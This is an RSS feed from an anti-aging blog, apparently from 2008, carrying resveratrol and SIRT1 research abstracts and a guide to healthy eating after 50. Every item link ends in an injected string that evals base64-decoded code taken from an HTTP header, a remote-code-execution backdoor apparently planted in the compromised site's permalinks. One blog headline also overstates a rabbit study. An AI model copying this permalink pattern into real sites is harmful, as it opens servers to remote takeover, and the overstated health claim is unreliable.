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	<title>Anti Aging Discoveries &#124; Resveratrol</title>
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	<link>http://antiagingdiscoveries.com</link>
	<description>Anti Aging Discoveries</description>
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		<title>Dealcoholized red wine containing known amounts of resveratrol suppresses atherosclerosis in hypercholesterolemic rabbits without affecting plasma lipid levels.</title>
		<link>http://antiagingdiscoveries.com/2008/09/05/dealcoholized-red-wine-containing-known-amounts-of-resveratrol-suppresses-atherosclerosis-in-hypercholesterolemic-rabbits-without-affecting-plasma-lipid-levels/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://antiagingdiscoveries.com/2008/09/05/dealcoholized-red-wine-containing-known-amounts-of-resveratrol-suppresses-atherosclerosis-in-hypercholesterolemic-rabbits-without-affecting-plasma-lipid-levels/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 05 Sep 2008 19:23:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Heart Health]]></category>
		<category><![CDATA[Resveratrol]]></category>
		<category><![CDATA[Affiliated Hospital]]></category>
		<category><![CDATA[Atherosclerotic Lesions]]></category>
		<category><![CDATA[Comparable Amounts]]></category>
		<category><![CDATA[Coronary Heart Disease]]></category>
		<category><![CDATA[Dietary Cholesterol]]></category>
		<category><![CDATA[Ermine]]></category>
		<category><![CDATA[Femoral Artery]]></category>
		<category><![CDATA[French Paradox]]></category>
		<category><![CDATA[Hdl And Ldl]]></category>
		<category><![CDATA[Hdl And Ldl Cholesterol]]></category>
		<category><![CDATA[High Cholesterol]]></category>
		<category><![CDATA[Lipid Levels]]></category>
		<category><![CDATA[Moderate Consumption]]></category>
		<category><![CDATA[Phytochemicals]]></category>
		<category><![CDATA[Plasma Levels]]></category>
		<category><![CDATA[Plasma Lipid]]></category>
		<category><![CDATA[Rabbit Model]]></category>
		<category><![CDATA[Red Wine]]></category>
		<category><![CDATA[Thoracic Aorta]]></category>
		<category><![CDATA[Triglyceride Levels]]></category>

		<guid isPermaLink="false">http://antiagingdiscoveries.com/?p=133</guid>
		<description><![CDATA[Wang Z, Zou J, Cao K, Hsieh TC, Huang Y, Wu JM. Department of Cardiology, The First Affiliated Hospital, Nanjing Medical University, Nanjing 210029, P.R. China. Moderate consumption of red wine is associated with a reduced risk of coronary heart disease (CHD). This phenomenon is based on data from epidemiological observations known as the French [...]]]></description>
				<content:encoded><![CDATA[<p><span style="font-family: Arial; color: black; font-size: x-small;"><span style="font-size: 10pt; color: black; font-family: Arial;">Wang Z, Zou J, Cao K,  Hsieh TC, Huang Y, Wu JM. </span></span></p>
<p><em><em><span style="font-family: Arial; color: black; font-size: x-small;"><span style="font-size: 10pt; color: black; font-family: Arial;">Department of  Cardiology, The First Affiliated Hospital, Nanjing Medical University, Nanjing 210029, P.R.  China.</span></span></em></em><span style="font-family: Arial; color: black; font-size: x-small;"><span style="font-size: 10pt; color: black; font-family: Arial;"> </span></span></p>
<p>Moderate consumption  of red wine is associated with a reduced risk of coronary heart disease (CHD).  This phenomenon is based on data from epidemiological observations known as the  French paradox, and has been attributed to CHD-protective phytochemicals, e.g.  <strong>resveratrol </strong>in red wine. Since red wine also contains alcohol, it is conceivable  that alcohol interacts with resveratrol to elicit the observed cardioprotective  effects.</p>
<p>To det<span style="font-family: Arial; color: black; font-size: x-small;"><span style="font-size: 10pt; color: black; font-family: Arial;">ermine whether  <span style="text-decoration: underline;">resveratrol </span>has alcohol-independent affects, we compared cardioprotective  properties of dealcoholized Chinese red wine with alcohol-containing Chinese red  wine having comparable amounts of resveratrol, using a hypercholesterolemic  rabbit model and resveratrol as a reference. Animals fed a high cholesterol  (1.5%) diet were simultaneously given water containing resveratrol (3 mg/kg/day)  or red wine (4 ml/kg/day) containing 3.98 mg/l and 3.23 mg/l resveratrol for  regular and dealcoholized red wine, respectively, for a 12-week duration. Total,  HDL- and LDL-cholesterol and triglyceride levels in the plasma were measured  before and after the cholesterol challenge. Atherosclerotic plaques in the  thoracic aorta were evaluated using histochemical methods. Vascular and  endothelial functions in the femoral artery were also assessed by  ultrasonographic image analysis. </span></span></p>
<p><span style="font-family: Arial; color: black; font-size: x-small;"><span style="font-size: 10pt; color: black; font-family: Arial;">High cholesterol-fed  animals showed a significant increase in plasma levels of total, HDL- and  LDL-cholesterol, but not triglycerides, compared to those fed a regular diet.  Dietary cholesterol-elicited lipid changes were similarly observed in animals  concurrently fed dealcoholized red wine, red wine or <em>resveratrol</em>. In contrast,  whereas atherosclerotic lesions were clearly evident in specimens prepared from  the thoracic aorta of high cholesterol-fed animals, the size, density, and mean  area of atherosclerotic plaques, and thickness of the intima layer were  significantly reduced in rabbits given dealcoholized red wine, red wine, or  <strong>resveratrol</strong>. </span></span></p>
<p><span style="font-family: Arial; color: black; font-size: x-small;"><span style="font-size: 10pt; color: black; font-family: Arial;">These results were in  agreement with data obtained by an ultrasound analysis of endothelial function,  which showed a 25% reduction in flow-mediated dilation (FMD) in rabbits fed a  high cholesterol diet compared to animals on control diet. This decrease was  effectively prevented by the simultaneous exposure to dealcoholized red wine,  red wine, or resveratrol. Our study shows that animals given dealcoholized red  wine exhibited cardio-active effects comparable to those of animals orally  administered resveratrol, and suggests that wine polyphenolics, rather than  alcohol present in red wine, suffice in exerting cardioprotective properties.  The results also provide support for the notion that resveratrol and  phytochemicals in red wine can suppress atherosclerosis without affecting plasma  lipid levels.</span></span></p>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Resveratrol Prevents Plaque From Forming In Arteries Regardless of Cholesterol Level</title>
		<link>http://antiagingdiscoveries.com/2008/09/05/resveratrol-prevents-plaque-from-forming-in-arteries-regardless-of-cholesterol-level/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://antiagingdiscoveries.com/2008/09/05/resveratrol-prevents-plaque-from-forming-in-arteries-regardless-of-cholesterol-level/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 05 Sep 2008 19:15:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Heart Health]]></category>
		<category><![CDATA[Resveratrol]]></category>
		<category><![CDATA[Alcohol Content]]></category>
		<category><![CDATA[Aorta]]></category>
		<category><![CDATA[Artery Wall]]></category>
		<category><![CDATA[Atherosclerotic Plaques]]></category>
		<category><![CDATA[Cardiovascular Health]]></category>
		<category><![CDATA[China Report]]></category>
		<category><![CDATA[Cholesterol Ldl]]></category>
		<category><![CDATA[Cholesterol Level]]></category>
		<category><![CDATA[Cholesterol Plaque]]></category>
		<category><![CDATA[Decade Researchers]]></category>
		<category><![CDATA[Hdl Cholesterol]]></category>
		<category><![CDATA[High Cholesterol Diet]]></category>
		<category><![CDATA[Human Equivalent]]></category>
		<category><![CDATA[Medical University]]></category>
		<category><![CDATA[Milligrams]]></category>
		<category><![CDATA[Molecular Medicine]]></category>
		<category><![CDATA[Red Wine]]></category>
		<category><![CDATA[Source International]]></category>
		<category><![CDATA[University In China]]></category>
		<category><![CDATA[Wine Alcohol]]></category>

		<guid isPermaLink="false">http://antiagingdiscoveries.com/?p=130</guid>
		<description><![CDATA[September 6, 2005 For over a decade researchers have debated whether red wine produces health benefits because of its alcohol content, or because of other molecules in red wine. Now researchers at Nanjing Medical University in China report on the use of de-alcoholized red wine and cardiovascular health. Animals were fed alcohol, red wine, de-alcoholized [...]]]></description>
				<content:encoded><![CDATA[<p><span style="font-family: Arial; color: black; font-size: x-small;"><span style="font-size: 10pt; color: black; font-family: Arial;">September 6, 2005 </span></span></p>
<p><span style="font-family: Arial; color: black; font-size: x-small;"><span style="font-size: 10pt; color: black; font-family: Arial;">For over a decade  researchers have debated whether red wine produces health benefits because of  its alcohol content, or because of other molecules in red wine. Now researchers  at <strong><strong><em><span style="font-family: Arial;"><span style="font-style: italic; font-family: Arial;">Nanjing Medical  University</span></span></em></strong></strong> in China  report on the use of de-alcoholized red wine and cardiovascular health. Animals  were fed alcohol, red wine, de-alcoholized red wine and pure research-grade  <strong><strong><span style="text-decoration: underline;"><span style="font-family: Arial;"><span style="font-family: Arial;">resveratrol</span></span></span></strong></strong>, a  molecule found in red wine. Animals were then fed a high cholesterol diet and  the human equivalent of 210 milligrams of resveratrol, or 280 millilters of red  wine or alcohol-free red wine. </span></span></p>
<p><span style="font-family: Arial; color: black; font-size: x-small;"><span style="font-size: 10pt; color: black; font-family: Arial;">The results of the  study are surprising. After 12 weeks the animals actually experienced a rise in  circulating levels of total cholesterol, LDL cholesterol, and &#8220;good&#8221; HDL  cholesterol regardless of whether they were fed alcohol, red wine, alcohol-free  red wine or resveratrol. </span></span></p>
<p><span style="font-family: Arial; color: black; font-size: x-small;"><span style="font-size: 10pt; color: black; font-family: Arial;">However, while  cholesterol plaque formed in the arteries (thoracic aorta) of the  cholesterol-fed animals, the size, density, and mean area of atherosclerotic  plaques were significantly reduced in rabbits given de-alcoholized red wine, red  wine, or resveratrol. </span></span></p>
<p><strong><strong><span style="text-decoration: underline;"><span style="font-family: Arial; color: black; font-size: x-small;"><span style="font-size: 10pt; color: black; font-family: Arial;">Resveratrol prevents  cholesterol plaque from forming within artery wall regardless of whether  circulating levels of cholesterol are high or  low.</span></span></span></strong></strong><span style="font-family: Arial; color: black; font-size: x-small;"><span style="font-size: 10pt; color: black; font-family: Arial;"> </span></span></p>
<p><span style="font-family: Arial; color: black; font-size: x-small;"><span style="font-size: 10pt; color: black; font-family: Arial;">Here is the abstract  of the study, for your review: </span></span></p>
<p><em><em><span style="font-family: Arial; color: black; font-size: x-small;"><span style="font-size: 10pt; color: black; font-family: Arial;">SOURCE:International  Journal Molecular Medicine 16:533-540, 2005</span></span></em></em><span style="font-family: Arial; color: black; font-size: x-small;"><span style="font-size: 10pt; color: black; font-family: Arial;"> </span></span></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Resveratrol&#8211;a boon for treating Alzheimer&#8217;s disease?</title>
		<link>http://antiagingdiscoveries.com/2008/09/03/resveratrol-a-boon-for-treating-alzheimers-disease/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://antiagingdiscoveries.com/2008/09/03/resveratrol-a-boon-for-treating-alzheimers-disease/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 15:37:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Alzheimers]]></category>
		<category><![CDATA[Boon]]></category>
		<category><![CDATA[Calorie Restriction]]></category>
		<category><![CDATA[Cardiovascular Diseases]]></category>
		<category><![CDATA[Disease Pathology]]></category>
		<category><![CDATA[Histone]]></category>
		<category><![CDATA[Human Homologue]]></category>
		<category><![CDATA[Huntington Disease]]></category>
		<category><![CDATA[Huntington S Disease]]></category>
		<category><![CDATA[Ischemia]]></category>
		<category><![CDATA[Mediator]]></category>
		<category><![CDATA[Mouse Model]]></category>
		<category><![CDATA[Neurological Disorders]]></category>
		<category><![CDATA[Neuronal Degeneration]]></category>
		<category><![CDATA[Polyphenol]]></category>
		<category><![CDATA[Red Wine]]></category>
		<category><![CDATA[Regimens]]></category>
		<category><![CDATA[Resveratrol]]></category>
		<category><![CDATA[Sirt1 Protein]]></category>
		<category><![CDATA[Therapeutic Value]]></category>
		<category><![CDATA[Variety Of Organisms]]></category>

		<guid isPermaLink="false">http://antiagingdiscoveries.com/?p=52</guid>
		<description><![CDATA[Resveratrol, a red wine polyphenol, is known to protect against cardiovascular diseases and cancers, as well as to promote antiaging effects in numerous organisms. It also modulates pathomechanisms of debilitating neurological disorders, such as strokes, ischemia, and Huntington&#8217;s disease. The role of resveratrol in Alzheimer&#8217;s disease is still unclear, although some recent studies on red [...]]]></description>
				<content:encoded><![CDATA[<p class="abstract">Resveratrol, a red wine polyphenol, is known to protect against cardiovascular diseases and cancers, as well as to promote antiaging effects in numerous organisms. It also modulates pathomechanisms of debilitating neurological disorders, such as strokes, ischemia, and Huntington&#8217;s disease. The role of resveratrol in Alzheimer&#8217;s disease is still unclear, although some recent studies on red wine bioactive compounds suggest that resveratrol modulates multiple mechanisms of Alzheimer&#8217;s disease pathology. Emerging literature indicates that mechanisms of aging and Alzheimer&#8217;s disease are intricately linked and that these mechanisms can be modulated by both calorie restriction regimens and calorie restriction mimetics, the prime mediator of which is the SIRT1 protein, a human homologue of yeast silent information regulator (Sir)-2, and a member of NAD+-dependent histone deacetylases. Calorie restriction regimens and calorie restriction-mimetics trigger sirtuins in a wide variety of organisms, ranging from bacteria to mouse. In a mouse model of Huntington&#8217;s disease, resveratrol-induced SIRT1 was found to protect neurons against ployQ toxicity and in Wallerian degeneration slow mice, resveratrol was found to protect the degeneration of neurons from axotomy, suggesting that resveratrol may possess therapeutic value to neuronal degeneration. This paper mainly focuses on the role of resveratrol in modulating AD pathomechanisms.</p>
<p class="pmid">PMID: 16766037 [PubMed - indexed for MEDLINE]</p>
<p class="pmid">
<p class="pmid">
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<strong> Excitement for Resveratrol in combating Alzheimers Disease</strong></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anti-aging properties of resveratrol: review and report of a potent new antioxidant skin care formulation.</title>
		<link>http://antiagingdiscoveries.com/2008/09/03/anti-aging-properties-of-resveratrol-review-and-report-of-a-potent-new-antioxidant-skin-care-formulation/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://antiagingdiscoveries.com/2008/09/03/anti-aging-properties-of-resveratrol-review-and-report-of-a-potent-new-antioxidant-skin-care-formulation/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 15:35:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Resveratrol]]></category>
		<category><![CDATA[Anticancer Properties]]></category>
		<category><![CDATA[Antioxidants]]></category>
		<category><![CDATA[Beta Amyloid]]></category>
		<category><![CDATA[Caloric Restriction]]></category>
		<category><![CDATA[Cardiovascular Benefits]]></category>
		<category><![CDATA[Inhibition]]></category>
		<category><![CDATA[Intense Interest]]></category>
		<category><![CDATA[Longevity]]></category>
		<category><![CDATA[Low Density Lipoprotein]]></category>
		<category><![CDATA[Modulation]]></category>
		<category><![CDATA[Neural Tissues]]></category>
		<category><![CDATA[Nitric Oxide Production]]></category>
		<category><![CDATA[Photoaging]]></category>
		<category><![CDATA[Polyphenol]]></category>
		<category><![CDATA[Pubmed]]></category>
		<category><![CDATA[Red Wine]]></category>
		<category><![CDATA[Signal Transduction]]></category>
		<category><![CDATA[Skin Care Products]]></category>
		<category><![CDATA[Vasoactive Peptides]]></category>

		<guid isPermaLink="false">http://antiagingdiscoveries.com/?p=50</guid>
		<description><![CDATA[Resveratrol, an antioxidant polyphenol from red wine, has been the subject of intense interest in recent years due to a range of unique anti-aging properties. These include cardiovascular benefits via increased nitric oxide production, down-regulation of vasoactive peptides, lowered levels of oxidized low-density lipoprotein, and cyclooxygenase inhibition; possible benefits on Alzheimer&#8217;s disease by breakdown of [...]]]></description>
				<content:encoded><![CDATA[<p class="abstract">Resveratrol, an antioxidant polyphenol from red wine, has been the subject of intense interest in recent years due to a range of unique anti-aging properties. These include cardiovascular benefits via increased nitric oxide production, down-regulation of vasoactive peptides, lowered levels of oxidized low-density lipoprotein, and cyclooxygenase inhibition; possible benefits on Alzheimer&#8217;s disease by breakdown of beta-amyloid and direct effects on neural tissues; phytohormonal actions; anticancer properties via modulation of signal transduction, which translates into anti-initiation, antipromotion, and antiprogression effects; antimicrobial effects; and sirtuin activation, which is believed to be involved in the caloric restriction-longevity effect. Here we report a resveratrol-based skin care formulation, with 17 times greater antioxidant activity than idebenone. The role of resveratrol in prevention of photoaging is reviewed and compared with other antioxidants used in skin care products.</p>
<p class="pmid">PMID: 18254804 [PubMed - indexed for MEDLINE]</p>
]]></content:encoded>
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		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Small molecule activators of SIRT1 as therapeutics for the treatment of type 2 diabetes.</title>
		<link>http://antiagingdiscoveries.com/2008/09/03/small-molecule-activators-of-sirt1-as-therapeutics-for-the-treatment-of-type-2-diabetes/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://antiagingdiscoveries.com/2008/09/03/small-molecule-activators-of-sirt1-as-therapeutics-for-the-treatment-of-type-2-diabetes/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 15:25:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Diabetes]]></category>
		<category><![CDATA[Activator]]></category>
		<category><![CDATA[Activators]]></category>
		<category><![CDATA[Beneficial Effects]]></category>
		<category><![CDATA[Calorie Restriction]]></category>
		<category><![CDATA[Catalytic Domain]]></category>
		<category><![CDATA[Glucose Homeostasis]]></category>
		<category><![CDATA[Insulin Resistance]]></category>
		<category><![CDATA[Insulin Sensitivity]]></category>
		<category><![CDATA[Lifespan]]></category>
		<category><![CDATA[Metabolic Profile]]></category>
		<category><![CDATA[Michaelis Constant]]></category>
		<category><![CDATA[Modulator]]></category>
		<category><![CDATA[Obese Mice]]></category>
		<category><![CDATA[Plasma Glucose]]></category>
		<category><![CDATA[Pubmed]]></category>
		<category><![CDATA[Pubmed Medline]]></category>
		<category><![CDATA[Resistance Increases]]></category>
		<category><![CDATA[Skeletal Muscle]]></category>
		<category><![CDATA[Therapeutic Approach]]></category>
		<category><![CDATA[Treatment Of Type 2 Diabetes]]></category>
		<category><![CDATA[Type 2 Diabetes]]></category>

		<guid isPermaLink="false">http://antiagingdiscoveries.com/?p=43</guid>
		<description><![CDATA[Calorie restriction extends lifespan and produces a metabolic profile desirable for treating diseases of ageing such as type 2 diabetes. SIRT1, an NAD+-dependent deacetylase, is a principal modulator of pathways downstream of calorie restriction that produce beneficial effects on glucose homeostasis and insulin sensitivity. Resveratrol, a polyphenolic SIRT1 activator, mimics the anti-ageing effects of calorie [...]]]></description>
				<content:encoded><![CDATA[<p class="abstract">Calorie restriction extends lifespan and produces a metabolic profile desirable for treating diseases of ageing such as type 2 diabetes. SIRT1, an NAD+-dependent deacetylase, is a principal modulator of pathways downstream of calorie restriction that produce beneficial effects on glucose homeostasis and insulin sensitivity. Resveratrol, a polyphenolic SIRT1 activator, mimics the anti-ageing effects of calorie restriction in lower organisms and in mice fed a high-fat diet ameliorates insulin resistance, increases mitochondrial content, and prolongs survival. Here we describe the identification and characterization of small molecule activators of SIRT1 that are structurally unrelated to, and 1,000-fold more potent than, resveratrol. These compounds bind to the SIRT1 enzyme-peptide substrate complex at an allosteric site amino-terminal to the catalytic domain and lower the Michaelis constant for acetylated substrates. In diet-induced obese and genetically obese mice, these compounds improve insulin sensitivity, lower plasma glucose, and increase mitochondrial capacity. In Zucker fa/fa rats, hyperinsulinaemic-euglycaemic clamp studies demonstrate that SIRT1 activators improve whole-body glucose homeostasis and insulin sensitivity in adipose tissue, skeletal muscle and liver. Thus, SIRT1 activation is a promising new therapeutic approach for treating diseases of ageing such as type 2 diabetes.</p>
<p class="pmid">PMID: 18046409 [PubMed - indexed for MEDLINE]</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Healthy Eating after 50</title>
		<link>http://antiagingdiscoveries.com/2008/09/03/healthy-eating-after-50/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://antiagingdiscoveries.com/2008/09/03/healthy-eating-after-50/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 15:24:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
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		<guid isPermaLink="false">http://antiagingdiscoveries.com/?p=41</guid>
		<description><![CDATA[“I have trouble chewing.” “Food just doesn’t taste the same anymore.” “I can’t get out to go shopping.” “It’s too much trouble to cook for one person.” “I’m just not that hungry.” Sound familiar? These are a few common reasons some older people don’t eat healthy meals. But, making healthy food choices is a smart [...]]]></description>
				<content:encoded><![CDATA[<p><span id="RadEditorPlaceHolderControl1"><em>“I have trouble chewing.” “Food just doesn’t taste the same anymore.” “I can’t get out to go shopping.” “It’s too much trouble to cook for one person.” “I’m just not that hungry.”</em></p>
<p>Sound familiar? These are a few common reasons some older people don’t eat healthy meals. But, making healthy food choices is a smart thing to do—no matter how old you are!</p>
<p>Here are some tips to get you started:</p>
<ul type="disc">
<li>Eat many different colors and types of vegetables and fruits.</li>
<li>Make sure at least half of your grains are whole grains.</li>
<li>Eat only small amounts of solid fats, oils, and foods high in sugars. Limit saturated fat (found mostly in foods that come from animals) or <em>trans</em> fats (found in foods like some margarines, shortening, cookies, and crackers).</li>
</ul>
<h4 style="color: #17954b;">Two Plans for Healthy Eating</h4>
<p>The Dietary Guidelines for Americans from the U.S. Department of Agriculture (USDA) and Department of Health and Human Services (DHHS) suggest two eating plans. Eating a variety of foods from each food group in either plan will help you get the nutrients you need.</p>
<p>One plan is called the USDA Food Guide (also known as MyPyramid). It suggests that people 50 or older choose healthy foods every day from the following:</p>
<p><strong><em>Fruits—1-1/2 to 2-1/2 cups</em></strong><br />
<em>What is the same as 1/2 cup of cut-up fruit?</em> One medium whole fruit or ¼ cup of dried fruit</p>
<p><strong><em>Vegetables—2 to 3-1/2 cups</em></strong><br />
<em>What is the same as a cup of cut-up vegetables?</em> Two cups of uncooked leafy vegetable<strong></strong></p>
<p><strong><em>Grains—5 to 10 ounces</em></strong><br />
<em>What is the same as an ounce of grains?</em><strong> </strong>One roll, a small muffin, a slice of bread, 1 cup of flaked, ready-to-eat cereal, or ½ cup of cooked rice, pasta, or cereal</p>
<p><strong><em>Meat/beans—5 to 7 ounces</em></strong><br />
<em>What is the same as an ounce of meat, fish, or poultry? </em>One egg, ¼ cup of cooked beans or tofu, ½ ounce of nuts or seeds, or 1 tablespoon of peanut butter</p>
<p><strong><em>Milk—3 cups of fat-free or low-fat milk</em></strong><br />
<em>What is the same as 1 cup of milk?</em> One cup of yogurt or 1-1/2 to 2 ounces of cheese. One cup of cottage cheese is the same as ½ cup of milk.</p>
<p>Your doctor may have suggested that you follow a certain diet because you have a health problem like heart disease or diabetes. Or, you might have been told to avoid eating certain foods because they can change how well your medicines work. Talk to your doctor or a registered dietitian about foods you can eat instead.</p>
<p><strong><em>Here’s a tip: </em></strong>Stay away from “empty calories.” These are foods and drinks with a lot of calories but not many nutrients—for example, chips, cookies, sodas, and alcohol.</p>
<p>The second eating plan is called the DASH Eating Plan. DASH stands for Dietary Approaches to Stop Hypertension. Following this plan will help you lower your blood pressure. See the resources at the end of this <em>Age Page</em> for more information on DASH.</p>
<h4 style="color: #17954b;">How Much Should I Eat?</h4>
<p>How much you should eat depends on how active you are. If you eat more calories than your body uses, you gain weight.</p>
<p>What are calories? <em>Calories</em> are a way to count how much energy is in food. You use the energy you get from food to do the things you need to do each day.</p>
<p>Just counting calories is not enough for making healthy choices. For example, a medium banana, 1 cup of flaked cereal, 2-1/2 cups of cooked spinach, 1 tablespoon of peanut butter, or 1 cup of 1% milk&#8211;all have roughly the same number of calories. But, the foods are different in many ways. Some have more of the nutrients you might need than others do. Milk gives you more calcium than a banana, and peanut butter gives you more protein than cereal. And a banana is likely to make you feel fuller than a tablespoon of peanut butter.</p>
<p><strong><em>Here’s a tip:</em></strong> In the USDA Food Guide, eating the smallest amount suggested for each food group gives you about 1,600 calories. The largest amount has 2,800 calories.</p>
<table border="0" cellspacing="5" cellpadding="15" align="center">
<tbody>
<tr>
<td bgcolor="#d6e7d6">
<h4>How many calories do people over age 50 need each day?</h4>
<table border="0" cellspacing="5" cellpadding="5">
<tbody>
<tr>
<td>A woman:</td>
<td>who is not physically active needs about 1,600 calories</td>
</tr>
<tr>
<td></td>
<td>who is somewhat active needs about 1,800 calories</td>
</tr>
<tr>
<td></td>
<td>who has an active lifestyle needs about 2,000-2,200 calories</td>
</tr>
<tr>
<td>A man:</td>
<td>who is not physically active needs about 2,000 calories</td>
</tr>
<tr>
<td></td>
<td>who is somewhat active needs about 2,200-2,400 calories</td>
</tr>
<tr>
<td></td>
<td>who has an active lifestyle needs about 2,400-2,800 calories</td>
</tr>
</tbody>
</table>
<p><strong><em>Here’s a tip:</em></strong> Get at least 30 minutes of moderate physical activity on most, if not all days of the week.</td>
</tr>
</tbody>
</table>
<h4 style="color: #17954b;">How Much Is on My Plate?</h4>
<p>How does the food on your plate compare to how much you should be eating? For example, one very large chicken breast could be more from the meat/beans group than you are supposed to eat in a whole day. Here are some general ways you can check:</p>
<ul type="disc">
<li>3 ounces of meat, poultry, or fish = deck of cards</li>
<li>½ cup of fruit, rice, pasta, or ice cream = ½ baseball</li>
<li>1 cup of salad greens = baseball</li>
<li>1-1/2 ounces of cheese = 4 stacked dice</li>
<li>1 teaspoon of butter or margarine = 1 dice (or die)</li>
<li>2 tablespoons of peanut butter = ping pong ball</li>
<li>1 cup of flaked cereal or a baked potato = fist</li>
</ul>
<table border="0" cellspacing="5" cellpadding="15" width="50%" align="center">
<tbody>
<tr>
<td bgcolor="#d6e7d6">
<h4>Read the Label</h4>
<p>At first, reading labels on many packaged foods may take some time. The facts there can help you make better food choices. Labels have a Nutrition Facts panel. It tells how much protein, carbohydrates, fats, sodium, key vitamins and minerals, and calories are in a serving. The panel also shows how many servings are in the package—be careful because sometimes what you think is one serving is really more.</p>
<p>Each can, bottle, or package label also has an ingredients list. Items are listed from largest amount to smallest.</td>
</tr>
</tbody>
</table>
<h4 style="color: #17954b;">Having Problems with Food?</h4>
<p>Does your favorite chicken dish taste different? As you grow older, your sense of taste and sense of smell may change. Foods may seem to have lost flavor. Also, medicines can change how food tastes. They can also make you feel less hungry. Talk to your doctor about whether there is a different medicine you could use. Try extra spices or herbs on your foods to add flavor.</p>
<p>As you get older, you might not be able to eat all the foods you used to eat. For example, some people become <em>lactose intolerant</em>. They have symptoms like stomach pain, gas, or diarrhea after eating or drinking something with milk in it, like ice cream. Most can eat small amounts of such food or can try yogurt, buttermilk, or hard cheese. Lactose-free foods are available now also. Your doctor can test to see if you are lactose intolerant.</p>
<p>Is it harder to chew? Maybe your dentures need to fit better, or your gums are sore. If so, a dentist can help you. Until then, you might want to eat softer foods that are easier to chew.</p>
<h4 style="color: #17954b;">Do I Need to Drink Water?</h4>
<p>With age, you may lose some of your sense of thirst. Drink plenty of liquids like water, juice, milk, and soup. Don’t wait until you feel thirsty. Try to drink several large glasses of water each day. Your urine should be pale yellow. If it is a bright or dark yellow, you need to drink more liquids.</p>
<p>Be sure to talk with your doctor if you have trouble controlling your urine. Don’t stop drinking liquids. There are better ways to help bladder control problems.</p>
<h4 style="color: #17954b;">What about Fiber?</h4>
<p>Fiber is found in foods from plants—fruits, vegetables, beans, nuts, seeds, and whole grains. Eating more fiber might prevent stomach or intestine problems, like constipation. It might also help lower cholesterol, as well as blood sugar.</p>
<p>It is better to get fiber from food than dietary supplements. Start adding more fiber slowly. That will help avoid unwanted gas. Here are some tips for adding fiber:</p>
<ul type="disc">
<li>Eat cooked dry beans, peas, and lentils often.</li>
<li>Leave skins on your fruit and vegetables if possible.</li>
<li>Choose whole fruit over fruit juice.</li>
<li>Eat whole-grain breads and cereals.</li>
</ul>
<p>Drink plenty of liquids to help fiber move through your intestines.</p>
<h4 style="color: #17954b;">Should I Cut Back on Salt?</h4>
<p>The usual way people get sodium is by eating salt. The body needs sodium, but too much can make blood pressure go up in some people. Most fresh food contains some sodium. Salt is added to many canned and prepared foods.</p>
<p>People tend to eat more salt than they need. If you are over age 50, about 2/3 of a teaspoon of table salt&#8211;1500 milligrams (mg) of sodium&#8211;is all you need each day. That includes all the sodium in your food and drink, not just the salt you add when cooking or eating. If your doctor tells you to use less salt, ask about a salt substitute. Some contain sodium. Also, don’t add salt during cooking or at the table, and avoid salty snacks and processed foods. Look for the word sodium, not salt, on the Nutrition Facts panel. Choose foods labeled “low-sodium.” Often, the amount of sodium in the same kind of food can vary greatly between brands.</p>
<p><strong><em>Here’s a tip</em></strong><em>:</em> Spices, herbs, and lemon juice can add flavor to your food, so you won’t miss the salt.</p>
<h4 style="color: #17954b;">What about Fat?</h4>
<p>Fat in your diet comes from two places&#8211;the fat already found in food and the fat added when you cook. Fat gives you energy and helps your body use certain vitamins, but it is high in calories. To lower the fat in your diet:</p>
<ul type="disc">
<li>Choose cuts of meat, fish, or poultry (with the skin removed) with less fat.</li>
<li>Trim off any extra fat before cooking.</li>
<li>Use low-fat dairy products and salad dressings.</li>
<li>Use non-stick pots and pans, and cook without added fat.</li>
<li>Choose an unsaturated or monosaturated vegetable oil (check the label) or a nonfat cooking spray.</li>
<li>Instead of frying, broil, roast, bake, stir-fry, steam, microwave, or boil foods.</li>
</ul>
<h4 style="color: #17954b;">Keeping Food Safe</h4>
<p>Older people must take extra care to keep their food safe to eat. As you get older, you are less able to fight off infections, and some foods could make you very sick. Be sure to fully cook eggs, pork, fish, shellfish, poultry, and hot dogs. Talk to your doctor or a registered dietitian, a nutrition specialist, about foods to avoid. These might include raw sprouts, some deli meats, and foods that are not <em>pasteurized</em> (heated to destroy disease-causing organisms), like some milk products and juices in the refrigerated section of the grocery.</p>
<p>Before cooking, handle raw food with care. Keep it apart from foods that are already cooked or won’t be cooked, like salad, fruit, or bread. Be careful with tools&#8211;your knife, plate, or cutting board, for example. Don’t cut raw meat with the same knife you will use to make a salad. Rinse raw fruits and vegetables before eating. Use hot soapy water to wash your hands, tools, and work surfaces as you cook.</p>
